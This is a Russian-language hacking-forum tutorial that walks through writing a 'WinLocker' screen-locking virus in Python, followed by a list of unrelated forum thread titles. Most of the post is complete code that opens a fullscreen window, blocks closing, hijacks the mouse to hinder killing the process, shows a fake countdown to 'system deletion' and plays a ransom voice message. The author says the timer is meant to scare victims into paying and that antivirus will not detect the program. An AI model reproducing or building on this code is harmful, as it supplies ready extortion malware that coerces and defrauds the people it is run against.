WinLocker на python. Пишем вирус.

Traven

Премиум
Копипаст

Всем привет! В этой статье мы с вами напишем локер для компьютера,на базе Windows или UNIX систем. Наша программа будет блокировать систему пользователя,пока он не введет пароль.В простонародье данный вирус называют "WinLocker"

Установка Python
Переходим на официальный сайт PythonА - ТЫК Скачиваем последнюю версию и устанавливаем ее.
Посмотреть вложение 7361Посмотреть вложение 7362Посмотреть вложение 7363

Суть работы программы
Наш вирус будет работать по такому принципу. Программа открывается на весь экран,у нее нет кнопки закрыть. Доступно поле для ввода пароля и кнопка для разблокировки. Пока жертва не введет правильный пароль,мышка будет постоянно кликать на кнопку,и переводить туда курсор. Это будет мешать пользователю свернуть окно или убить его через диспетчер задач. Так же будет таймер отсчитывающий время до удаления системы. На самом деле,он ничего не удалит, но хорошо припугнут жертву и например заставит скорее перевести деньги. По истечении времени таймер сменится на надпись - "Удаление системы" Вот и вся суть программы)

Начинаем кодить
#Комментарии к коду будут помечены #комментарий
Для написания вы можете использовать обычный IDLE от питона,или любой другой.
Для начала мы должны к нашей программе подключить нужные нам библиотеки. Библиотека - написанные коды/функции,которые подключаются к нашей программе.
Код:
from tkinter import *  #говорим питону с библиотеки tkinter импортировать все
import pyautogui  #говорим питону импортировать библиотеку pyautogui
import pygame  #говорим питону импортировать библиотеку pygame

__________________________________________________________________________________
Но при запуске нам выдаст ошибку,указывающую на отсутствие библиотек pyautogui и pygame. Они не являются стандартными и их нужно установить. Для этого выполняем действия как на видео(через систему для установки пакетов мы ставим нужные нам библиотеки)

___________________________________________________________________________________
Дальше мы зададим переменные, которые мы будем использовать.

Код:
read1ng=" " #переменная, в которой будет храниться введенный пользователем пароль
password=("vlmi") #переменная с паролем от локера, можно установить что-то свое
t1me=7200 #переменная с временем таймера в секундах.
d3l="Удаление системы..." # переменная для отображения на экране текстового сообщения


____________________________________________________________________________________
Почти в самом начале мы должны создать функции. Которые будут отвечать за блокировку компьютера и за проверку на ввод правильного пароля.
Сначала создаем функцию блокировки компьютера.

Код:
def block(): #создаем функцию, которая называется block
    pyautogui.click(x=675,y=405) #делаем клик по координатам X и Y
    pyautogui.moveTo(x=675,y=405) #переводим мышку в позицию координат X и Y
    screen.protocol("WM_DELETE_WINDOW",block) #Запрещаем использование комбинаций F4/alt+F4/Fn+F4, и при их использовании вызывает функцию block
    screen.update() #переменную с нашим экраном мы обновляем.

Теперь мы создаем функцию, которая проверяет, введен ли правильный пароль.

Код:
def password_check(event): #создаем функцию, которая называется password_check, и имеет аргумент event
    global read1ng #создаем глобальную переменную read1ng.
    read1ng=field.get() #переменной read1ng мы присваиваем значение,которое мы считаем(.get) с поля для ввода(field).
    if read1ng==password: #создаем условие,если переменная read1ng равняется переменной password,то:
        screen.destroy() #окно программы(screen) мы уничтожаем/закрываем


____________________________________________________________________________________
Дальше мы должны создать окно нашего локера,которое откроется на весь экран.

Код:
screen=Tk() #screen - это просто название переменной. Которой мы присваиваем ему создания окна приложения
screen.title("WinLock vlmi.su") #задаем нашему окну название/заголовок.
screen.attributes("-fullscreen",True) #задаем окну атрибут - "на весь экран",который является правдой/активным.
screen.configure(background="#1c1c1c") #устанавливаем фоновой цвет на наше окно.
pyautogui.FAILSAFE=False #отключение остановки библиотеки autogui при дерганьи мышки. Если не включить это, то при дергание мышки pyautogui просто прекратит выполнять все действия.



_____________________________________________________________________________________
Теперь мы создадим объекты для нашей программы - кнопку,поле для ввода и надписи.

Код:
field=Entry(screen,fg="green",justify=CENTER) #создаем переменную,которая равняется полю для ввода,которое расположено на нашем окне(screen),цвет для текста - зеленый, текст будет по центру.
but=Button(screen,text="Разблокировать") #создаем переменную,которая равняется кнопке,которая расположена на нашем окне(screen),и имеет на себе надпись("Разблокировать")
text0=Label(screen,text="Ваша система заблокирована!",font="TimesNewRoman 30",fg="white",bg="#1c1c1c") #создаем переменную,которая равняется надписи,имеет свой текст, шрифт и размер, цвет текста фона.
text=Label(screen,text="Danaforevr для конкурса VLMI.SU",font="TimesNewRoman 30",fg="#32CD32",bg="#1c1c1c") #тоже самое,что и выше
text1=Label(screen,text="Не перезагружайте компьютер, это удалит вашу систему!",font = "TimesNewRoman 16",fg="red",bg="#1c1c1c") #тоже самое,что и выше
l=Label(text=t1me,font="Arial 22",fg="red",bg="#1c1c1c") # так же как и выше,только здесь текст равен переменной(t1me),которая стоит у нас в начале и имеет значение 7200.
l1=Label(text="До удаления системы осталось:",fg="white",bg="#1c1c1c",font="Arial 15") #простая надпись как и выше


______________________________________________________________________________________
У нас есть кнопка и она должна что-то делать. В нашем случае при нажатии на кнопку будет выполняться проверка на правильность пароля.

Код:
but.bind('<Button-1>',password_check) #к переменной but(нашей кнопке) мы привязываем функцию password_check,которая выполнится при нажатии ЛКМ

______________________________________________________________________________________
До этого мы просто создали переменные с объектами,а теперь эти объекты нужно отобразить/отрисовать на экране.
(используем функцию .place(), которая принимает значения x и y - координаты)

Код:
text.place(x=380,y=180) #переменную text мы отображаем на координатах X и Y
field.place(width=150,height=50,x=600,y=300) #переменной field мы устанавливаем ширину,высоту и отображаем на координатах X и Y
but.place(width=150,height=50,x=600,y=380) #переменной but мы устанавливаем ширину,высоту и отображаем на координатах X и Y
text0.place(x=410,y=100) #переменную text0 мы отображаем на координатах X и Y
text1.place(x=410,y=250) #переменную text1 мы отображаем на координатах X и Y
l1.place(x=20,y=70) #переменную l1 мы отображаем на координатах X и Y
l.place(x=20,y=100) #переменную l мы отображаем на координатах X и Y


_______________________________________________________________________________________
В winlock-ерах принято оставлять сообщения с информацией,требованием перевода денег. Я решил, что оставлять текстовое сообщение - слишком банально, и при запуске нашего вируса будет проигрываться голосовое сообщение.
Голосовое сообщение я сделал с помощью этого сервиса - ТЫК. Музыка/сообщение должно быть в формате .wav, можно использовать конвертеры.

Код:
pygame.init() #мы запускаем код с библиотеки, которую мы импортировали.
aud=pygame.mixer.Sound("message.wav") #создаем переменную которая являться подключением звукового файла,который называется message.wav
aud.play() #запускаем нашу переменную на воспроизведение.



_______________________________________________________________________________________
Дальше мы должны обновить наш экран и выполнить нажатие на поле для ввода.

Код:
screen.update() #переменную с нашим экраном мы обновляем.
pyautogui.click(x=675,y=325) #делаем клик по координатам X и Y
pyautogui.moveTo(x=660,y=410) #переводим мышку в позицию координат X и Y


________________________________________________________________________________________
Теперь мы должны запустить цикл, который будет работать,пока от пользователя мы не получим правильный пароль.

Код:
while read1ng!=password: #запускаем цикл,который работает пока переменная read1ng не равняется переменной password
    l.configure(text=t1me) #изменяем конфигурацию переменной l, а точнее - меняем значение text="" на переменную t1me
    screen.after(300) #делаем задержку в 300 миллисекунд.
    if t1me==0: #условие,если переменная t1me равна 0, то :
        t1me=d3l #переменной time присваивается переменная d3l
#Это нам нужно для работы с таймером, если таймер дойдет до нуля,отчет должен просто остановится. В нашем случае вывести текст про удаление системы.
    if t1me!=d3l: #условие,если переменная t1me равна переменной d3l, то :
        t1me=t1me-1 #переменная t1me равна переменной time от которой отняли 1
    block() #вызываем функцию block , она у нас в самом начале
#Это все будет повторяться, пока пользователь не введет правильный пароль.

Компилируем в exe
При запуске программы(F5) все будет работать, но распространять код и установщик питона, это явно не лучший вариант. Поэтому мы наш код скомпилируем в exe файл. Для этого мы через pip установить специальную программу.Смотрим видео!)

После установки мы должны открыть папку с нашей программой на питоне и запустить pyinstaller с такими аргументами
-F соберет все файлы в один exe файл
-w отключит консоль
-i *путь к иконке* аргумент,который подключит к программе иконку
Смотрим видео!)

После в папке dist появится наш код скомпилированный в EXE. У него есть 2 минуса.
  1. Большой вес, исправить можно удалив голосовое сообщение,и заодно отключить импорт pygame.
  2. Долгий запуск, это происходит из за сбора всех файлов в один. Наш exe можно назвать архивом, который распаковывается в временную папку. Этого можно избежать не собирая все в один файл.
!!!ВАЖНО если вы добавили голосовое сообщение и скомпилировали программу, файл с звуком(message.wav) должен лежать рядом с EXE иначе программа крашнется.

Исходники и заключение
Скачать готовую программу и исходники вы можете по ссылке - ТЫК
!!!ВАЖНО - пароль от локера
Для просмотра содержимого вам необходимо авторизоваться.

Вот мы и написали наш простой локер, да диспетчер задач и комбинации alt+tab будут работать, но из-за постоянных кликов - сложно убить процесс. Наш вирус не будет палится антивирусами, ведь им не на что реагировать. В нашей программе нету взаимодействия с системой пользователя.

Словарик
IDLE/IDE - среда для разработки программного обеспечения.
Библиотека/модуль
- написанные коды/функции,которые подключаются к нашей программе.
pip - система для установки пакетов(Для Python).
Переменная - ячейка в памяти,которая имеет свое уникальное название и может хранить определенную информацию
Функция - часть кода, который имеет свое уникальное название по которому его можно запустить/вызвать
Цикл - действие, которое будет повторятся N-ное количество раз и может зависит от определенного условия
_______________


Вся информация написана в целях ознакомления,автор не несет ответственность за использование данного материала)
 
  • Like
Реакции: JRD
Похожие темы
T Пишем WinLocker на Delphi Программирование 0
Admin Интересно Идеальные сотрудники: не просят премий, не занимают места в офисе. Но есть нюанс — они работают на КНДР. Новости в сети 0
Admin Интересно Король на один день. IPv6 впервые стал популярнее старого интернета у Google. Новости в сети 0
Admin Интересно Криптобиржа Grinex приостановила работу после хакерской атаки на $13,74 млн. Новости в сети 0
Admin Интересно JavaScript больше не нужен? Появился способ собирать быстрые сайты на привычном Dart. Новости в сети 0
Admin Интересно Криминальный рынок Xinbi Guarantee продолжает работать в Telegram, несмотря на санкции. Новости в сети 0
Admin Интересно Анонимность закончилась. Хакеры продают список тех, кто жаловался на соседей последние 40 лет. Новости в сети 0
Admin Интересно Компания F6 планирует выход на фондовый рынок в 2026 году. Новости в сети 0
Admin Интересно Ставите на Polymarket? Ваши финансы в опасности. Новости в сети 0
Admin Интересно Илон Маск представил новый мессенджер XChat с акцентом на приватность. Новости в сети 0
Admin Интересно Подводные лодки станут невидимыми благодаря ядерным часам на тории-229. Новости в сети 0
Admin Интересно Патч вышел утром, атака – в обед. Добро пожаловать в мир, где у вас нет времени на обновления. Новости в сети 0
Admin Интересно Новый фишинговый обман нацелен на пользователей Apple с угрозами удаления данных iCloud. Новости в сети 0
Admin Интересно Тёмная материя где-то рядом: физики опустились на 2 км под землю и охладили установку до края возможного. Новости в сети 0
Admin Интересно Батарейка на ядерном распаде обещает работать 100 лет без замены. Новости в сети 0
Admin Интересно Китайская компания Unitree выводит на рынок доступного робота R1 через AliExpress. Новости в сети 0
Admin Интересно Генетики изучили ДНК на Туринской плащанице, но результаты вызвали больше вопросов, чем ответов. Новости в сети 0
Admin Интересно Экипаж Artemis II успешно вернулся на Землю после лунной миссии. Новости в сети 0
Admin Интересно OpenAI приостанавливает строительство супер дата-центра в Великобритании из-за высоких затрат на электроэнергию. Новости в сети 0
Admin Интересно Два криптографа поспорили на $5000: что сломается первым — старая защита интернета или новая. Новости в сети 0
Admin Интересно Атака вымогателей на ChipSoft нарушила работу электронных медицинских карт в Нидерландах и Бельгии. Новости в сети 0
Admin Интересно Северокорейский хакер случайно раскрыл схему мошенничества на миллионы долларов. Новости в сети 0
Admin Интересно Ubuntu просит 6 ГБ, Windows 11 — 4 ГБ. Что это значит на самом деле — и кто из них честнее с пользователем. Новости в сети 0
Admin Интересно Утечка данных в облаке Еврокомиссии связана с атакой на цепочку поставок Trivy. Новости в сети 0
Admin Интересно Искусственный интеллект может улучшить продажи на платформах вроде Vinted и Depop. Новости в сети 0
Admin Интересно Microsoft раскрыла детали использования cookie для управления PHP-веб-шеллами на Linux-серверах. Новости в сети 0
Admin Интересно Утечка данных Forex вызывает опасения мошенничества и манипуляций на рынке. Новости в сети 0
Admin Интересно Минцифры обсуждает масштабную реформу связи и снятие моратория на проверки операторов. Новости в сети 0
Admin Интересно Социальная инженерия привела к атаке на npm-пакет Axios. Новости в сети 0
Admin Интересно Amazon обязана вести переговоры с профсоюзом работников склада на Статен-Айленде. Новости в сети 0
Admin Интересно Установили бесплатный Photoshop? Добро пожаловать в майнинг-клуб на вашем Mac. Новости в сети 0
Admin Интересно Кибератака на больницу в Техасе привела к утечке данных 257 тысяч пациентов. Новости в сети 0
Admin Интересно Google представила мощную ИИ-модель Gemma 4, которая работает даже на слабом железе. Новости в сети 0
Admin Интересно Полиция действительно может проверить ваш телефон на наличие VPN? Отвечает МВД. Новости в сети 0
Admin Интересно Piter-IX повышает цены на услуги из-за роста затрат и блокировок. Новости в сети 0
Admin Интересно Компания Hasbro сообщила о кибератаке, которая вывела системы из строя на несколько недель. Новости в сети 0
Admin Интересно «Плывущая челюсть» и подозрительные тени. Инструкция для тех, кто не хочет попасться на уловки кибермошенников. Новости в сети 0
Admin Интересно Claw-code на основе утечки Claude Code побил рекорд GitHub. Новости в сети 0
Admin Интересно Кибератака на Cisco началась с плагина для проверки уязвимостей. Новости в сети 0
Admin Интересно UserGate представила стратегию развития до 2030 года и концепцию архитектуры доверия на Open Conf 2026. Новости в сети 0
Admin Интересно Хакер заработал $53 млн на одной опечатке и удивил ФБР своими тратами. Новости в сети 0
Admin Интересно Одна из главных моделей эволюционной биологии держалась на математической ошибке. Новости в сети 0
Admin Интересно Proton Meet представил новый сервис для видеозвонков с акцентом на конфиденциальность. Новости в сети 0
Admin Интересно Как заморозить воду быстрее? Сначала вскипятите её и плюньте на здравый смысл. Новости в сети 0
Admin Интересно В Ростове-на-Дону протестировали режим полной изоляции интернета. Новости в сети 0
Admin Интересно Роботы на Марсе могут стать более автономными для ускорения исследований. Новости в сети 0
Admin Интересно Плагин для Visual Studio Code стал инструментом атаки на разработчиков криптовалют. Новости в сети 0
Admin Интересно Европейская комиссия столкнулась с кибератакой на свою онлайн-платформу. Новости в сети 0
Admin Интересно Axios подвергся атаке на цепочку поставок через скомпрометированный аккаунт npm. Новости в сети 0
Admin Интересно НАСА готовится к запуску первой пилотируемой миссии на Луну за более чем 50 лет. Новости в сети 0

Название темы